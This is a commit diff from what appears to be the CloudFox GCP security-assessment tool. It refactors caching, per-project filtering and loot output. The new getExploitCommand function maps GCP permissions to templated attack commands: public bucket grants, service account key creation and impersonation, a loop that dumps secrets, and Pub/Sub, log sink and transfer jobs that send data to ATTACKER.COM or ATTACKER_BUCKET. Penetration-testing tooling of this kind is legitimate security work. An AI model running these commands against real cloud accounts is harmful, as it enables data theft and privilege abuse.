cleanup output, better streaming and file splitting

This commit is contained in:
jbarciabf committed 2026-02-19 18:17:24 -05:00
1 parent 7a18090609
commit d021ea54de
29 files changed
+4856 -1959

No files matched your search

Regular → Executable
+18 -4
View File
@@ -138,18 +138,22 @@ var (
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
ageDays := foxMapperCache.GetDataAgeDays()
if ageDays >= 7 {
if ageDays >= 30 {
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
ageDays), "gcp")
} else {
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
}
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc (data age: %d days)",
totalNodes, adminNodes, nodesWithPrivesc, ageDays), "gcp")
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
}
}
// Always try to load org cache for cross-project analysis
// Cache auto-refreshes after 24 hours
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
// Force refresh when running the organizations command to ensure fresh data
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
orgCache := loadOrPopulateOrgCache(account, refreshCache)
if orgCache != nil && orgCache.IsPopulated() {
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
}
@@ -372,6 +376,8 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
ID: org.Name[len("organizations/"):], // Strip prefix
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
}
@@ -385,6 +391,7 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
}
@@ -393,8 +400,14 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
projects, err := orgsSvc.SearchProjects("")
if err == nil {
for _, project := range projects {
// Extract project number from Name (format: "projects/123456789")
projectNumber := ""
if strings.HasPrefix(project.Name, "projects/") {
projectNumber = strings.TrimPrefix(project.Name, "projects/")
}
cache.AddProject(gcpinternal.CachedProject{
ID: project.ProjectID,
Number: projectNumber,
Name: project.Name,
DisplayName: project.DisplayName,
Parent: project.Parent,
@@ -513,6 +526,7 @@ func init() {
commands.GCPKeysCommand,
commands.GCPEndpointsCommand,
commands.GCPWorkloadIdentityCommand,
commands.GCPIdentityFederationCommand,
commands.GCPOrganizationsCommand,
commands.GCPCloudBuildCommand,
commands.GCPMemorystoreCommand,
+2 -2
View File
@@ -140,7 +140,7 @@ func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger
svc := crossprojectservice.New()
// Analyze cross-project bindings
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs)
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs, m.OrgCache)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
@@ -160,7 +160,7 @@ func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger
}
// Find lateral movement paths
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs)
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs, m.OrgCache)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
Regular → Executable
+505 -65
View File
@@ -119,6 +119,7 @@ type DataExfiltrationModule struct {
vpcscProtectedProj map[string]bool // Projects protected by VPC-SC
orgPolicyProtection map[string]*OrgPolicyProtection // Org policy protections per project
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for unified data access
OrgCache *gcpinternal.OrgCache // OrgCache for ancestry lookups
}
// ------------------------------
@@ -173,9 +174,69 @@ func (m *DataExfiltrationModule) getAllPublicExports() []PublicExport {
return all
}
// filterFindingsByProjects filters FoxMapper findings to only include principals
// from the specified projects (via -p or -l flags) OR principals without a clear project
// (users, groups, compute default SAs, etc.)
func (m *DataExfiltrationModule) filterFindingsByProjects(findings []foxmapperservice.DataExfilFinding) []foxmapperservice.DataExfilFinding {
// Build a set of specified project IDs for fast lookup
specifiedProjects := make(map[string]bool)
for _, projectID := range m.ProjectIDs {
specifiedProjects[projectID] = true
}
var filtered []foxmapperservice.DataExfilFinding
for _, finding := range findings {
// Filter principals to only those from specified projects OR without a clear project
var filteredPrincipals []foxmapperservice.PrincipalAccess
for _, p := range finding.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Include if:
// 1. Principal's project is in our specified list, OR
// 2. Principal has no clear project (users, groups, compute default SAs)
if specifiedProjects[principalProject] || principalProject == "" {
filteredPrincipals = append(filteredPrincipals, p)
}
}
// Only include the finding if it has matching principals
if len(filteredPrincipals) > 0 {
filteredFinding := finding
filteredFinding.Principals = filteredPrincipals
filtered = append(filtered, filteredFinding)
}
}
return filtered
}
// countFindingsByProject returns a count of findings per project for debugging
func (m *DataExfiltrationModule) countFindingsByProject() map[string]int {
counts := make(map[string]int)
for _, f := range m.FoxMapperFindings {
for _, p := range f.Principals {
proj := extractProjectFromPrincipal(p.Principal, m.OrgCache)
if proj == "" {
proj = "(unknown)"
}
counts[proj]++
}
}
return counts
}
func (m *DataExfiltrationModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Identifying data exfiltration paths and potential vectors...", GCP_DATAEXFILTRATION_MODULE_NAME)
// Load OrgCache for ancestry lookups (needed for per-project filtering)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
if err == nil && diskCache != nil && diskCache.IsPopulated() {
m.OrgCache = diskCache
}
}
// Get FoxMapper cache from context or try to load it
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
@@ -200,9 +261,21 @@ func (m *DataExfiltrationModule) Execute(ctx context.Context, logger internal.Lo
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Analyzing permission-based exfiltration paths using FoxMapper...", GCP_DATAEXFILTRATION_MODULE_NAME)
svc := m.FoxMapperCache.GetService()
m.FoxMapperFindings = svc.AnalyzeDataExfil("")
allFindings := svc.AnalyzeDataExfil("")
// Filter findings to only include principals from specified projects
m.FoxMapperFindings = m.filterFindingsByProjects(allFindings)
if len(m.FoxMapperFindings) > 0 {
logger.InfoM(fmt.Sprintf("Found %d permission-based exfiltration techniques with access", len(m.FoxMapperFindings)), GCP_DATAEXFILTRATION_MODULE_NAME)
// Log findings per project for debugging
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
counts := m.countFindingsByProject()
for proj, count := range counts {
logger.InfoM(fmt.Sprintf(" - %s: %d principals", proj, count), GCP_DATAEXFILTRATION_MODULE_NAME)
}
}
}
} else {
logger.InfoM("No FoxMapper data found - skipping permission-based analysis. Run 'foxmapper gcp graph create' for full analysis.", GCP_DATAEXFILTRATION_MODULE_NAME)
@@ -370,48 +443,215 @@ func (m *DataExfiltrationModule) initializeLootForProject(projectID string) {
}
}
func (m *DataExfiltrationModule) generatePlaybook() *internal.LootFile {
// getExploitCommand returns specific exploitation commands for a permission
func getExploitCommand(permission, principal, project string) string {
// Map permissions to specific gcloud/gsutil commands
commands := map[string]string{
// Storage
"storage.objects.get": "gsutil cp gs://BUCKET/OBJECT ./\ngcloud storage cp gs://BUCKET/OBJECT ./",
"storage.objects.list": "gsutil ls -r gs://BUCKET/\ngcloud storage ls --recursive gs://BUCKET/",
"storage.buckets.setIamPolicy": "gsutil iam ch allUsers:objectViewer gs://BUCKET\n# Or grant yourself access:\ngsutil iam ch user:ATTACKER@EMAIL:objectAdmin gs://BUCKET",
"storage.hmacKeys.create": "gsutil hmac create SERVICE_ACCOUNT_EMAIL",
// IAM / Service Account Impersonation
"iam.serviceAccounts.signBlob": "gcloud iam service-accounts sign-blob --iam-account=TARGET_SA input.txt output.sig",
"iam.serviceAccountKeys.create": "gcloud iam service-accounts keys create key.json --iam-account=TARGET_SA",
"iam.serviceAccounts.getAccessToken": "gcloud auth print-access-token --impersonate-service-account=TARGET_SA",
// Storage Transfer
"storagetransfer.jobs.create": "# Create transfer job to exfil bucket to external destination\ngcloud transfer jobs create gs://SOURCE_BUCKET gs://ATTACKER_BUCKET --name=exfil-job",
"storagetransfer.jobs.update": "# Update existing transfer job destination\ngcloud transfer jobs update JOB_NAME --destination=gs://ATTACKER_BUCKET",
"storagetransfer.jobs.run": "gcloud transfer jobs run JOB_NAME",
// BigQuery
"bigquery.tables.export": "bq extract --destination_format=CSV PROJECT:DATASET.TABLE gs://BUCKET/export.csv",
"bigquery.tables.getData": "bq query --use_legacy_sql=false 'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 1000'",
"bigquery.jobs.create": "bq query --use_legacy_sql=false 'SELECT * FROM `PROJECT.DATASET.TABLE`'\nbq extract PROJECT:DATASET.TABLE gs://BUCKET/export.csv",
"bigquery.datasets.setIamPolicy": "bq add-iam-policy-binding --member=user:ATTACKER@EMAIL --role=roles/bigquery.dataViewer PROJECT:DATASET",
// Cloud SQL
"cloudsql.instances.export": "gcloud sql export sql INSTANCE gs://BUCKET/export.sql --database=DATABASE",
"cloudsql.backupRuns.create": "gcloud sql backups create --instance=INSTANCE",
"cloudsql.instances.connect": "gcloud sql connect INSTANCE --user=USER --database=DATABASE",
"cloudsql.users.create": "gcloud sql users create ATTACKER --instance=INSTANCE --password=PASSWORD",
// Spanner
"spanner.databases.export": "gcloud spanner databases export DATABASE --instance=INSTANCE --destination-uri=gs://BUCKET/spanner-export/",
"spanner.databases.read": "gcloud spanner databases execute-sql DATABASE --instance=INSTANCE --sql='SELECT * FROM TABLE_NAME'",
"spanner.backups.create": "gcloud spanner backups create BACKUP --instance=INSTANCE --database=DATABASE --retention-period=7d",
// Datastore / Firestore
"datastore.databases.export": "gcloud datastore export gs://BUCKET/datastore-export/ --namespaces='(default)'",
"datastore.entities.get": "gcloud datastore export gs://BUCKET/datastore-export/",
// Bigtable
"bigtable.tables.readRows": "cbt -project=PROJECT -instance=INSTANCE read TABLE",
"bigtable.backups.create": "cbt -project=PROJECT -instance=INSTANCE createbackup CLUSTER BACKUP TABLE",
// Pub/Sub
"pubsub.subscriptions.create": "gcloud pubsub subscriptions create ATTACKER_SUB --topic=TOPIC\ngcloud pubsub subscriptions pull ATTACKER_SUB --auto-ack --limit=100",
"pubsub.subscriptions.consume": "gcloud pubsub subscriptions pull SUBSCRIPTION --auto-ack --limit=100",
"pubsub.subscriptions.update": "gcloud pubsub subscriptions update SUBSCRIPTION --push-endpoint=https://ATTACKER.COM/webhook",
// Compute
"compute.snapshots.create": "gcloud compute snapshots create SNAPSHOT_NAME --source-disk=DISK_NAME --source-disk-zone=ZONE",
"compute.disks.createSnapshot": "gcloud compute disks snapshot DISK_NAME --zone=ZONE --snapshot-names=SNAPSHOT_NAME",
"compute.images.create": "gcloud compute images create IMAGE_NAME --source-disk=DISK_NAME --source-disk-zone=ZONE",
"compute.machineImages.create": "gcloud compute machine-images create IMAGE_NAME --source-instance=INSTANCE --source-instance-zone=ZONE",
"compute.images.setIamPolicy": "gcloud compute images add-iam-policy-binding IMAGE --member=user:ATTACKER@EMAIL --role=roles/compute.imageUser",
"compute.snapshots.setIamPolicy": "gcloud compute snapshots add-iam-policy-binding SNAPSHOT --member=user:ATTACKER@EMAIL --role=roles/compute.storageAdmin",
// Logging
"logging.sinks.create": "gcloud logging sinks create SINK_NAME storage.googleapis.com/ATTACKER_BUCKET --log-filter='resource.type=\"gce_instance\"'",
"logging.sinks.update": "gcloud logging sinks update SINK_NAME --destination=storage.googleapis.com/ATTACKER_BUCKET",
"logging.logEntries.list": "gcloud logging read 'resource.type=\"gce_instance\"' --limit=1000 --format=json > logs.json",
// Secret Manager
"secretmanager.versions.access": "gcloud secrets versions access latest --secret=SECRET_NAME",
"secretmanager.secrets.list": "gcloud secrets list --format='value(name)'\n# Then access each secret:\nfor secret in $(gcloud secrets list --format='value(name)'); do gcloud secrets versions access latest --secret=$secret; done",
// KMS
"cloudkms.cryptoKeyVersions.useToDecrypt": "gcloud kms decrypt --key=KEY_NAME --keyring=KEYRING --location=LOCATION --ciphertext-file=encrypted.bin --plaintext-file=decrypted.txt",
"cloudkms.cryptoKeys.setIamPolicy": "gcloud kms keys add-iam-policy-binding KEY_NAME --keyring=KEYRING --location=LOCATION --member=user:ATTACKER@EMAIL --role=roles/cloudkms.cryptoKeyDecrypter",
// Artifact Registry
"artifactregistry.repositories.downloadArtifacts": "gcloud artifacts docker images list LOCATION-docker.pkg.dev/PROJECT/REPO\ndocker pull LOCATION-docker.pkg.dev/PROJECT/REPO/IMAGE:TAG",
"artifactregistry.repositories.setIamPolicy": "gcloud artifacts repositories add-iam-policy-binding REPO --location=LOCATION --member=user:ATTACKER@EMAIL --role=roles/artifactregistry.reader",
// Cloud Functions
"cloudfunctions.functions.get": "gcloud functions describe FUNCTION_NAME --region=REGION",
"cloudfunctions.functions.sourceCodeGet": "gcloud functions describe FUNCTION_NAME --region=REGION --format='value(sourceArchiveUrl)'\ngsutil cp SOURCE_URL ./function-source.zip",
// Cloud Run
"run.services.get": "gcloud run services describe SERVICE --region=REGION --format=yaml",
// Dataproc
"dataproc.jobs.create": "gcloud dataproc jobs submit spark --cluster=CLUSTER --region=REGION --class=org.example.ExfilJob --jars=gs://ATTACKER_BUCKET/exfil.jar",
// Dataflow
"dataflow.jobs.create": "gcloud dataflow jobs run exfil-job --gcs-location=gs://dataflow-templates/latest/GCS_to_GCS --region=REGION --parameters inputDirectory=gs://SOURCE_BUCKET,outputDirectory=gs://ATTACKER_BUCKET",
// Redis
"redis.instances.export": "gcloud redis instances export gs://BUCKET/redis-export.rdb --instance=INSTANCE --region=REGION",
// AlloyDB
"alloydb.backups.create": "gcloud alloydb backups create BACKUP --cluster=CLUSTER --region=REGION",
// Source Repos
"source.repos.get": "gcloud source repos clone REPO_NAME\ncd REPO_NAME && git log --all",
// Healthcare API
"healthcare.fhirResources.get": "curl -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \"https://healthcare.googleapis.com/v1/projects/PROJECT/locations/LOCATION/datasets/DATASET/fhirStores/STORE/fhir/Patient\"",
"healthcare.dicomStores.dicomWebRetrieve": "curl -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \"https://healthcare.googleapis.com/v1/projects/PROJECT/locations/LOCATION/datasets/DATASET/dicomStores/STORE/dicomWeb/studies\"",
"healthcare.datasets.export": "gcloud healthcare datasets export DATASET --location=LOCATION --destination-uri=gs://BUCKET/healthcare-export/",
}
cmd, ok := commands[permission]
if !ok {
return fmt.Sprintf("# No specific command for %s - check gcloud documentation", permission)
}
// Replace placeholders with actual values where possible
if project != "" && project != "-" {
cmd = strings.ReplaceAll(cmd, "PROJECT", project)
}
return cmd
}
// generatePlaybookForProject generates a loot file specific to a project
// It includes SAs from that project + users/groups (which apply to all projects)
func (m *DataExfiltrationModule) generatePlaybookForProject(projectID string) *internal.LootFile {
var sb strings.Builder
sb.WriteString("# GCP Data Exfiltration Playbook\n")
sb.WriteString("# GCP Data Exfiltration Commands\n")
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
sb.WriteString("# Generated by CloudFox\n\n")
// Actual misconfigurations
allPaths := m.getAllExfiltrationPaths()
if len(allPaths) > 0 {
// Actual misconfigurations for this project
paths := m.ProjectExfiltrationPaths[projectID]
if len(paths) > 0 {
sb.WriteString("## Actual Misconfigurations\n\n")
for _, path := range allPaths {
for _, path := range paths {
sb.WriteString(fmt.Sprintf("### %s: %s\n", path.PathType, path.ResourceName))
sb.WriteString(fmt.Sprintf("- Project: %s\n", path.ProjectID))
sb.WriteString(fmt.Sprintf("- Risk Level: %s\n", path.RiskLevel))
sb.WriteString(fmt.Sprintf("- Description: %s\n", path.Description))
sb.WriteString(fmt.Sprintf("- Destination: %s\n\n", path.Destination))
sb.WriteString(fmt.Sprintf("# Description: %s\n", path.Description))
if path.ExploitCommand != "" {
sb.WriteString("```bash\n")
sb.WriteString(path.ExploitCommand)
sb.WriteString("\n```\n\n")
sb.WriteString("\n\n")
}
}
}
// Permission-based findings from FoxMapper
// Permission-based findings from FoxMapper - filter to this project's principals + users/groups
if len(m.FoxMapperFindings) > 0 {
sb.WriteString("## Permission-Based Exfiltration Techniques\n\n")
hasFindings := false
for _, finding := range m.FoxMapperFindings {
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Technique, finding.Service))
sb.WriteString(fmt.Sprintf("- Permission: %s\n", finding.Permission))
sb.WriteString(fmt.Sprintf("- Description: %s\n", finding.Description))
sb.WriteString(fmt.Sprintf("- Principals with access: %d\n\n", len(finding.Principals)))
if finding.Exploitation != "" {
sb.WriteString("```bash\n")
sb.WriteString(finding.Exploitation)
sb.WriteString("\n```\n\n")
var relevantPrincipals []foxmapperservice.PrincipalAccess
for _, p := range finding.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Include if: SA from this project OR user/group (no project)
if principalProject == projectID || principalProject == "" {
relevantPrincipals = append(relevantPrincipals, p)
}
}
if len(relevantPrincipals) == 0 {
continue
}
if !hasFindings {
sb.WriteString("## Permission-Based Exfiltration Commands\n\n")
hasFindings = true
}
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Permission, finding.Service))
sb.WriteString(fmt.Sprintf("# %s\n\n", finding.Description))
for _, p := range relevantPrincipals {
project := extractProjectFromPrincipal(p.Principal, m.OrgCache)
if project == "" {
project = projectID // Use the target project for users/groups
}
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
sb.WriteString(fmt.Sprintf("## %s (%s)\n", p.Principal, principalType))
// Add impersonation command if it's a service account
if p.IsServiceAccount {
sb.WriteString(fmt.Sprintf("# Impersonate first:\ngcloud config set auth/impersonate_service_account %s\n\n", p.Principal))
}
// Add the exploitation command
cmd := getExploitCommand(finding.Permission, p.Principal, project)
sb.WriteString(cmd)
sb.WriteString("\n\n")
// Reset impersonation note
if p.IsServiceAccount {
sb.WriteString("# Reset impersonation when done:\n# gcloud config unset auth/impersonate_service_account\n\n")
}
}
}
}
contents := sb.String()
// Don't return empty loot file
if contents == fmt.Sprintf("# GCP Data Exfiltration Commands\n# Project: %s\n# Generated by CloudFox\n\n", projectID) {
return nil
}
return &internal.LootFile{
Name: "data-exfiltration-playbook",
Contents: sb.String(),
Name: "data-exfiltration-commands",
Contents: contents,
}
}
@@ -1041,11 +1281,13 @@ func (m *DataExfiltrationModule) getMisconfigHeader() []string {
func (m *DataExfiltrationModule) getFoxMapperHeader() []string {
return []string{
"Technique",
"Scope Type",
"Scope ID",
"Principal Type",
"Principal",
"Service",
"Permission",
"Description",
"Principal Count",
}
}
@@ -1094,20 +1336,222 @@ func (m *DataExfiltrationModule) pathsToTableBody(paths []ExfiltrationPath, expo
return body
}
// foxMapperFindingsForProject returns findings for a specific project
// Includes: SAs from that project + users/groups (which can access any project)
// Also filters by scope: only org/folder/project findings in the project's hierarchy
func (m *DataExfiltrationModule) foxMapperFindingsForProject(projectID string) [][]string {
var body [][]string
// Get ancestor folders and org for filtering
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
ancestorFolderSet := make(map[string]bool)
for _, f := range ancestorFolders {
ancestorFolderSet[f] = true
}
for _, f := range m.FoxMapperFindings {
for _, p := range f.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Include if: SA from this project OR user/group (no project - applies to all)
if principalProject != projectID && principalProject != "" {
continue
}
// Filter by scope hierarchy
if !m.scopeMatchesProject(p.ScopeType, p.ScopeID, projectID, projectOrgID, ancestorFolderSet) {
continue
}
// Determine principal type
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
scopeType := p.ScopeType
if scopeType == "" {
scopeType = "-"
}
scopeID := p.ScopeID
if scopeID == "" {
scopeID = "-"
}
body = append(body, []string{
scopeType,
scopeID,
principalType,
p.Principal,
f.Service,
f.Permission,
f.Description,
})
}
}
return body
}
// foxMapperFindingsWithoutProject returns findings for principals without a clear project
// (e.g., compute default SAs, users, groups)
func (m *DataExfiltrationModule) foxMapperFindingsWithoutProject() [][]string {
var body [][]string
for _, f := range m.FoxMapperFindings {
for _, p := range f.Principals {
// Extract project from principal
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Only include if we couldn't determine the project
if principalProject != "" {
continue
}
// Determine principal type
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
scopeType := p.ScopeType
if scopeType == "" {
scopeType = "-"
}
scopeID := p.ScopeID
if scopeID == "" {
scopeID = "-"
}
body = append(body, []string{
scopeType,
scopeID,
principalType,
p.Principal,
f.Service,
f.Permission,
f.Description,
})
}
}
return body
}
// foxMapperFindingsToTableBodyForProject returns findings filtered by project
func (m *DataExfiltrationModule) foxMapperFindingsToTableBodyForProject(projectID string) [][]string {
var body [][]string
for _, f := range m.FoxMapperFindings {
for _, p := range f.Principals {
// Extract project from principal (uses existing function from privesc.go)
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Only include if it matches this project
if principalProject != projectID {
continue
}
// Determine principal type
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
body = append(body, []string{
principalProject,
principalType,
p.Principal,
f.Service,
f.Permission,
f.Description,
})
}
}
return body
}
// foxMapperFindingsToTableBody returns all findings (for flat output)
func (m *DataExfiltrationModule) foxMapperFindingsToTableBody() [][]string {
var body [][]string
for _, f := range m.FoxMapperFindings {
body = append(body, []string{
f.Technique,
f.Service,
f.Permission,
f.Description,
fmt.Sprintf("%d", len(f.Principals)),
})
for _, p := range f.Principals {
// Determine principal type
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
scopeType := p.ScopeType
if scopeType == "" {
scopeType = "-"
}
scopeID := p.ScopeID
if scopeID == "" {
scopeID = "-"
}
body = append(body, []string{
scopeType,
scopeID,
principalType,
p.Principal,
f.Service,
f.Permission,
f.Description,
})
}
}
return body
}
// scopeMatchesProject checks if a scope (org/folder/project) is in the hierarchy for a project
func (m *DataExfiltrationModule) scopeMatchesProject(scopeType, scopeID, projectID, projectOrgID string, ancestorFolderSet map[string]bool) bool {
if scopeType == "" || scopeID == "" {
// No scope info - include by default
return true
}
switch scopeType {
case "project":
return scopeID == projectID
case "organization":
if projectOrgID != "" {
return scopeID == projectOrgID
}
// No org info - include by default
return true
case "folder":
if len(ancestorFolderSet) > 0 {
return ancestorFolderSet[scopeID]
}
// No folder info - include by default
return true
case "resource":
// Resource-level - include by default
return true
default:
return true
}
}
func (m *DataExfiltrationModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
@@ -1131,25 +1575,28 @@ func (m *DataExfiltrationModule) buildTablesForProject(projectID string) []inter
func (m *DataExfiltrationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
FolderLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
projectIDs := make(map[string]bool)
for projectID := range m.ProjectExfiltrationPaths {
projectIDs[projectID] = true
}
for projectID := range m.ProjectPublicExports {
projectIDs[projectID] = true
}
playbook := m.generatePlaybook()
playbookAdded := false
for projectID := range projectIDs {
// Process each specified project (via -p or -l flags)
for _, projectID := range m.ProjectIDs {
m.initializeLootForProject(projectID)
tableFiles := m.buildTablesForProject(projectID)
// Add FoxMapper findings table for this project
// Include SAs from this project + users/groups (which apply to all projects)
foxMapperBody := m.foxMapperFindingsForProject(projectID)
if len(foxMapperBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "data-exfiltration-permissions",
Header: m.getFoxMapperHeader(),
Body: foxMapperBody,
})
}
// Add loot files for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
@@ -1159,28 +1606,16 @@ func (m *DataExfiltrationModule) writeHierarchicalOutput(ctx context.Context, lo
}
}
if playbook != nil && playbook.Contents != "" && !playbookAdded {
// Add project-specific playbook
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil && playbook.Contents != "" {
lootFiles = append(lootFiles, *playbook)
playbookAdded = true
}
// Always add all specified projects to output
outputData.ProjectLevelData[projectID] = DataExfiltrationOutput{Table: tableFiles, Loot: lootFiles}
}
// Add FoxMapper findings table at first project level if exists
if len(m.FoxMapperFindings) > 0 && len(m.ProjectIDs) > 0 {
firstProject := m.ProjectIDs[0]
if existing, ok := outputData.ProjectLevelData[firstProject]; ok {
existingOutput := existing.(DataExfiltrationOutput)
existingOutput.Table = append(existingOutput.Table, internal.TableFile{
Name: "data-exfiltration-permissions",
Header: m.getFoxMapperHeader(),
Body: m.foxMapperFindingsToTableBody(),
})
outputData.ProjectLevelData[firstProject] = existingOutput
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
@@ -1225,9 +1660,14 @@ func (m *DataExfiltrationModule) writeFlatOutput(ctx context.Context, logger int
}
}
playbook := m.generatePlaybook()
if playbook != nil && playbook.Contents != "" {
lootFiles = append(lootFiles, *playbook)
// For flat output, generate a combined playbook for all projects
for _, projectID := range m.ProjectIDs {
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil && playbook.Contents != "" {
// Rename to include project
playbook.Name = fmt.Sprintf("data-exfiltration-commands-%s", projectID)
lootFiles = append(lootFiles, *playbook)
}
}
output := DataExfiltrationOutput{
-21
View File
@@ -521,27 +521,6 @@ func (m *DomainWideDelegationModule) generateDWDCommands(accounts []domainwidede
# Generated by CloudFox
# WARNING: Only use with proper authorization
# =============================================================================
# DISCOVERED DWD SERVICE ACCOUNTS
# =============================================================================
`)
for _, account := range accounts {
dwdStatus := "No"
if account.DWDEnabled {
dwdStatus = "Yes"
}
commands.WriteString(fmt.Sprintf("\n# %s\n", account.Email))
commands.WriteString(fmt.Sprintf("# DWD Enabled: %s | Keys: %d\n", dwdStatus, len(account.Keys)))
if account.OAuth2ClientID != "" {
commands.WriteString(fmt.Sprintf("# OAuth2 Client ID: %s\n", account.OAuth2ClientID))
}
for _, key := range account.Keys {
commands.WriteString(fmt.Sprintf("# Key: %s\n", key.KeyID))
}
}
commands.WriteString(`
# =============================================================================
# STEP 1: INSTALL DEPENDENCIES
# =============================================================================
Regular → Executable
+132 -89
View File
@@ -84,8 +84,7 @@ type Endpoint struct {
type EndpointsModule struct {
gcpinternal.BaseGCPModule
ProjectEndpoints map[string][]Endpoint // projectID -> endpoints
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
ProjectEndpoints map[string][]Endpoint // projectID -> endpoints
mu sync.Mutex
// Firewall rule mapping: "network:tag1,tag2" -> allowed ports
@@ -115,7 +114,6 @@ func runGCPEndpointsCommand(cmd *cobra.Command, args []string) {
module := &EndpointsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectEndpoints: make(map[string][]Endpoint),
LootMap: make(map[string]map[string]*internal.LootFile),
firewallPortMap: make(map[string][]string),
}
@@ -1135,18 +1133,7 @@ func (m *EndpointsModule) analyzeFirewallRules(ctx context.Context, svc *compute
// addEndpoint adds an endpoint thread-safely
func (m *EndpointsModule) addEndpoint(projectID string, ep Endpoint) {
m.mu.Lock()
// Initialize loot for this project if needed
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["endpoints-commands"] = &internal.LootFile{
Name: "endpoints-commands",
Contents: "# Endpoint Scan Commands\n" +
"# Generated by CloudFox\n" +
"# Use these commands for authorized penetration testing\n\n",
}
}
m.ProjectEndpoints[projectID] = append(m.ProjectEndpoints[projectID], ep)
m.addEndpointToLoot(projectID, ep)
m.mu.Unlock()
}
@@ -1183,11 +1170,93 @@ func extractZoneFromScope(scope string) string {
// ------------------------------
// Loot File Management
// ------------------------------
func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
lootFile := m.LootMap[projectID]["endpoints-commands"]
if lootFile == nil {
return
// generateLootFiles creates the loot files for a project, grouped by network/region
func (m *EndpointsModule) generateLootFiles(projectID string) []internal.LootFile {
endpoints, ok := m.ProjectEndpoints[projectID]
if !ok || len(endpoints) == 0 {
return nil
}
// Separate external and internal endpoints
var externalEndpoints, internalEndpoints []Endpoint
for _, ep := range endpoints {
if ep.IsExternal {
externalEndpoints = append(externalEndpoints, ep)
} else {
internalEndpoints = append(internalEndpoints, ep)
}
}
var lootFiles []internal.LootFile
// Generate external commands file
if len(externalEndpoints) > 0 {
lootFiles = append(lootFiles, internal.LootFile{
Name: "endpoints-external-commands",
Contents: m.generateGroupedCommands(externalEndpoints, true),
})
}
// Generate internal commands file
if len(internalEndpoints) > 0 {
lootFiles = append(lootFiles, internal.LootFile{
Name: "endpoints-internal-commands",
